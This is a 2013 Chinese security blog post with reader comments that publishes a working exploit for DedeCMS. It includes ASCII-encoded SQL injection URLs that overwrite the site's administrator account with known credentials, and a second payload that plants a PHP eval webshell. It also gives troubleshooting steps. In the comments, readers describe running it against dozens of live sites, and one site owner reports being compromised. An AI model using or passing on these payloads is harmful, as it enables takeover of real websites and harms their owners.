dedecms最新版本修改任意管理员漏洞+getshell+exp【配图】

此漏洞无视gpc转义,过80sec注入防御。

补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?

起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。

include/dedesql.class.php

if(isset($GLOBALS['arrs1']))
{
    $v1 = $v2 = '';
    for($i=0;isset($arrs1[$i]);$i++)
    {
        $v1 .= chr($arrs1[$i]);
    }
    for($i=0;isset($arrs2[$i]);$i++)
    {
        $v2 .= chr($arrs2[$i]);   //解码ascii
    }
    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+
}
function SetQuery($sql)
    {
        $prefix="#@__";
        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。
        $this->queryString = $sql;
    }

另外说下绕过80sec防注入的方法。
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。

plus/download.php

else if($open==1)
{
    $id = isset($id) && is_numeric($id) ? $id : 0;
    $link = base64_decode(urldecode($link));
    $hash = md5($link);
//这里的#@_是可以控制的
    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");
    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);
    }
    header("location:$link");
    exit();
}

构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):

admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #

完整SQL语句:

UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' 

EXP:

http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

如果不出问题,后台登录用户spider密码admin
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。

如果找不到后台,参见以前修改数据库直接拿SHELL的方法

UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval($_POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT 1 ;

getshell:

http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

会在plus目录生成 x.php 密码 m
http://127.0.0.1/plus/x.php
update成功后还要访问下 /plus/mytag_js.php?aid=1

失败原因:

测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
配图:

1.查看dede当前版本

QQ20130607-2

2.执行exp

QQ20130607-33.测试登陆后台

spider密码admin

QQ20130607-4
原作者:imspider

本博客测试+配图+getshell

本文固定链接: https://www.unhonker.com/bug/1272.html | 90' s Blog|关注网络信息安全

该日志由 unhonker 于2013年06月07日发表在 漏洞公布 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: dedecms最新版本修改任意管理员漏洞+getshell+exp【配图】 | 90' s Blog|关注网络信息安全
关键字:

dedecms最新版本修改任意管理员漏洞+getshell+exp【配图】:目前有44 条留言

  1. 23楼
    刺客:

    敢问 arrs2[]=32&arrs2[]=35 使用什么工具编码的

    2013-06-07 17:16
  2. 22楼
    tester:

    你给出的exp是否有通用性?
    本地和远程测试均失败。
    本地:20130304
    执行exp后返回到/plus/目录
    远程测试也是同样的结果
    或者直接:Safe Alert: Request Error step 2!

    2013-06-07 17:56
    • honker90:

      Safe Alert: Request Error step 2! 测试时我也出现了这情况,因为我执行了两次exp。

      2013-06-07 18:27
      • 第一次就会出现这种情况!是不是系统防注?

        2013-06-09 14:29
  3. 21楼
    忘忆:

    弄不了,用户不存在啊

    2013-06-07 18:33
  4. 20楼
    流月:

    转码工具方便传传 :mrgreen: :mrgreen:

    2013-06-07 19:13
  5. 19楼
    mike:

    不知道是不是版本太早的问题,exp跟getshell都不行

    2013-06-07 20:31
  6. 18楼
    DEDECMS:

    getshell的exp貌似不行- –

    2013-06-07 20:45
  7. 17楼
    好小子:

    😯 😯 支持啊,getshell没ASCII转码搞不懂。

    2013-06-07 21:11
  8. 16楼
    好小子:

    还有,我测试了,5.7以下的版本都不行,应该是今年更新的dede才可以利用。

    2013-06-07 21:13
    • honker90:

      我这边测试的是最新的,以前版本没测试

      2013-06-07 21:14
  9. 15楼
    clouder:

    楼主,问个事情,为什么不add一个管理员,直接把管理员替换了呢 !
    另外getshell 没测试成功

    2013-06-07 21:37
  10. 14楼
    miss:

    你getshell 成功了么? 为什么我测试好多不成功

    2013-06-07 21:38
    • honker90:

      刚更新了getshell方法,你刷新看下

      2013-06-07 21:39
  11. 13楼
    clouder:

    不成功啊

    2013-06-07 21:44
  12. 12楼
    clouder:

    getshell 方法木有成功(测试站 update已经成功),

    2013-06-07 21:49
  13. 11楼
    clouder:

    测试了40个站 2个成功的

    2013-06-07 22:24
  14. 10楼
    JJJJJJJJJ:

    jjjjjjjjj,玩腻了就好了,公布了干啥,老子还想留着压箱底呢,反正厂商也想留个后门,给他们一条活路撒。。另外这玩意成功率不是很高就是了,使用mysqli的就不行

    2013-06-07 22:41
  15. 9楼
    By-Hmk:

    测试结果:Fatal error: Call to undefined function parcv() in D:XXXX_ServerXXXXincludededesql.class.php on line 482 只爆出了一条路径。。。
    /dada/admin/ver.txt 20111109

    2013-06-08 09:05
  16. 8楼
    土豆:

    貌似 这个exp 不是 很好利用。 getshell 的 语句 貌似 还需要自己构造下? cfg_dbprefixmytag` SET `normbody` = ‘{dede:php}file_put_contents(”x.php”,””);{/dede:php}’ WHERE `aid` =1 但是利用的时候 不是出现爆路径 就是 Safe Alert:Request Error step 2! 求解释。

    2013-06-08 12:50
    • honker90:

      多次执行就会提示那个

      2013-06-08 13:37
  17. 7楼
    BOBO:

    Safe Alert: Request Error step 2! 试了几十个,都不成功!求解 🙁

    2013-06-09 10:39
  18. 6楼
    吴宇森:

    能不能使用insert语句呢?

    2013-06-10 18:17
    • honker90:

      这个exp是update方法。insert的你可以自己研究下

      2013-06-13 19:47
  19. 5楼
    狂舞:

    我看上面写的完整SQL语句dede_admin,要是被改成了其他的,xxx_admin,参数改怎么写呢?

    2013-06-12 22:45
    • honker90:

      ASCII编码,你可以自己对照下ASCII表进行修改

      2013-06-13 19:46
  20. 4楼
    viper:

    webshell有问题,我测试好几个网站都不会生成x.php给个解释?

    2013-06-14 05:56
    • honker90:

      仔细看加红的字。

      2013-06-14 10:30
      • viper:

        aid我改成=3,49改成99,对方有安全狗,会不会生成一句话的时候就被干掉了

        2013-06-14 11:40
        • honker90:

          你说呢? 这个问题需要问嘛

          2013-06-14 13:41
  21. 地板
    aofalyb:

    求助LZ 更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
    这句不是太明白.我都修改了 /plus/mytag_js.php?aid=1 是空白 /plus/mytag_js.php?aid=XX也是空白.空白是正确的嘛?
    &arrs2[]=49 修改了以后是不 对应的 访问/plus/mytag_js.php?aid=1 数字1也要修改? UPDATE的时候第一次空白 然后就 Safe Alert: Request Error step 2! 怎么处理呢.

    2013-06-21 19:21
    • honker90:

      修改后的ID数值应该与第一个是一样的。

      2013-06-22 21:26
  22. 板凳
    siteng:

    博主,你好,我是个受害者- -.虽然按照您的方法试了没有成功,但是我后台的管理账户确实变成了spider…想请教博主怎么破,公司的东西,老出问题不好,您也知道,类似简单暴力的漏洞是很容易泛滥落入小朋友的手里改来改去就不好了。。

    2013-07-02 12:29
    • honker90:

      按理来说织梦官方应该出相应的补丁了,你可以到织梦官方看看。

      2013-07-02 17:18
      • siteng:

        嗯,今天去看了,确实有补丁- -3 一直没关注官方的补丁。。

        2013-07-02 17:52
  23. 沙发
    中宝网:

    后台地址怎么爆料出来呢

    2013-07-11 10:05

发表评论

您必须 [ 登录 ] 才能发表留言!